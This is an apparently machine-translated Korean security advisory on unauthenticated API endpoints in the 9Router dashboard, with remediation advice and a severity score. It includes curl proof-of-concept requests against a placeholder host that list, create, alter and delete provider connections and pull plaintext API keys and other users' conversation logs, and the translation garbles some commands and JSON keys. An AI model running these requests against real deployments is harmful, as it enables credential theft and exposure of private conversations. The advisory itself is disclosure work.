9router는 /api/providers에서 인증되지 않은 CRUD를 가지고 있고 /api/usage/stats를 통해 전체 API 키가 유출되었습니다.
9Router의 Next.js 대시보드에서 여러 가지 중요한 API 보안 취약점이 발견되었습니다. /api/providers 엔드포인트에는 인증이 전혀 없기 때문에 누구나 공급자 연결을 생성, 읽기, 업데이트 및 삭제할 수 있습니다. 또한 /api/usage/stats는 전체 일반 텍스트 API 키를 노출하고, /api/usage/request-logs + /api/usage/request-details는 인증 없이 모든 사용자의 요청 기록과 전체 대화 콘텐츠(시스템 프롬프트, 사용자 메시지, 보조 응답 포함)를 노출합니다.
| 엔드포인트 | 방법 | 이슈 |
|---|---|---|
/api/공급자 | 받기 | 부분 자격 증명, OAuth 토큰, 계정 ID가 포함된 모든 공급자 연결 나열 |
/api/providers/:id | 받기 | 단일 공급자 세부 정보(IDOR) 읽기 |
/api/공급자 | 포스트 | 공격자가 제어하는 API 키를 사용하여 임의 공급자 연결 만들기 |
/api/providers/:id | 넣어 | 기존 공급자 연결 수정 |
/api/providers/:id | 삭제 | 공급자 연결 삭제 |
/api/사용/통계 | 받기 | 전체 일반 텍스트 API 키, 계정별 사용량 분석, 비용 데이터 노출 |
/api/사용/요청-로그 | 받기 | 모든 사용자의 요청 로그(모델, 토큰, 비용, 타임스탬프, 공급자) 공개 |
/api/usage/request-details/:id | 받기 | 시스템 프롬프트, 사용자 메시지, 보조자 응답을 포함한 전체 대화 차례 노출 |
/api/버전 | 받기 | 현재 버전 정보 노출 |
/api/모델 | 받기 | 전체 모델 라우팅 카탈로그 공개 |
/api/v1/모델 | 받기 | 모델 목록 공개 |
공격자는 다음을 수행할 수 있습니다.
엔드포인트는 키당 사용 데이터와 함께 전체 API 키 문자열(예: 'sk-...')을 일반 텍스트로 반환하므로 연결된 AI 공급자 계정을 무단으로 사용할 수 있습니다.
/api/usage/request-details는 시스템 프롬프트, 사용자 메시지, 보조 응답, 도구 호출 및 추론 추적을 포함하여 다른 사용자 AI 세션의 전체 대화 기록을 반환합니다.
``배쉬 컬 -s https://<호스트>/api/providers
이메일 주소, 인증 유형, 계정 ID 및 부분 API 키 접두사가 포함된 모든 공급자 연결을 반환합니다.
### 2. 인증 없이 공급자 만들기
``배쉬
컬 -X POST https://<host>/api/providers \
-H "콘텐츠 유형: 애플리케이션/json" \
-d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker- Controlled"}'
새로운 UUID 및 isActive: true를 사용하여 생성된 연결 개체를 반환합니다.
``배쉬
컬 -X PUT https://<호스트>/api/providers/<기존-uuid>
-H "콘텐츠 유형: 애플리케이션/json"
-d '{"이름":"수정됨","apiKey":"sk-공격자-키"}'
업데이트된 연결 개체를 반환합니다.
### 4. 인증 없이 공급자 삭제
``배쉬
컬 -X DELETE https://<호스트>/api/providers/<기존-uuid>
{"message":"연결이 성공적으로 삭제되었습니다"}를 반환합니다.
``배쉬 컬 -s https://<호스트>/api/usage/stats
전체 API 키 문자열, 계정별 토큰/비용 분석, 최근 요청을 반환합니다.
### 6. 요청 로그 읽기
``배쉬
컬 -s "https://<호스트>/api/usage/request-logs?page=1&pageSize=50"
타임스탬프, 모델, 공급자, 사용자 이메일, 토큰 수와 함께 페이지를 매긴 요청 로그를 반환합니다.
``배쉬 컬 -s https://<호스트>/api/usage/request-details/
해당 요청에 대한 전체 대화 차례를 반환합니다.
### 8. 버전 정보 읽기
``배쉬
컬 -s https://<호스트>/api/version
{"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}를 반환합니다.
'src/app/api/*' 아래의 Next.js API 경로에는 여러 엔드포인트의 인증 미들웨어가 부족합니다. 구체적으로:
/api/providers/* — 데이터베이스에 저장된 공급자 연결에 대한 CRUD 작업 전에 인증 확인이 없습니다./api/usage/stats — 전체 API 키를 포함하여 집계된 사용량 데이터를 반환하기 전에 인증 확인이 필요하지 않습니다./api/usage/request-logs — 요청 기록을 반환하기 전에 인증 확인을 하지 않습니다./api/usage/request-details/:id — 전체 대화 내용을 반환하기 전에 인증 확인을 하지 않습니다./api/providers/* 경로(GET, POST, PUT, DELETE)에 인증 미들웨어를 추가합니다./api/usage/* 경로에 인증 미들웨어를 추가합니다.왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 100.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 100.00 |
VPI 공식 vpi-v1 기준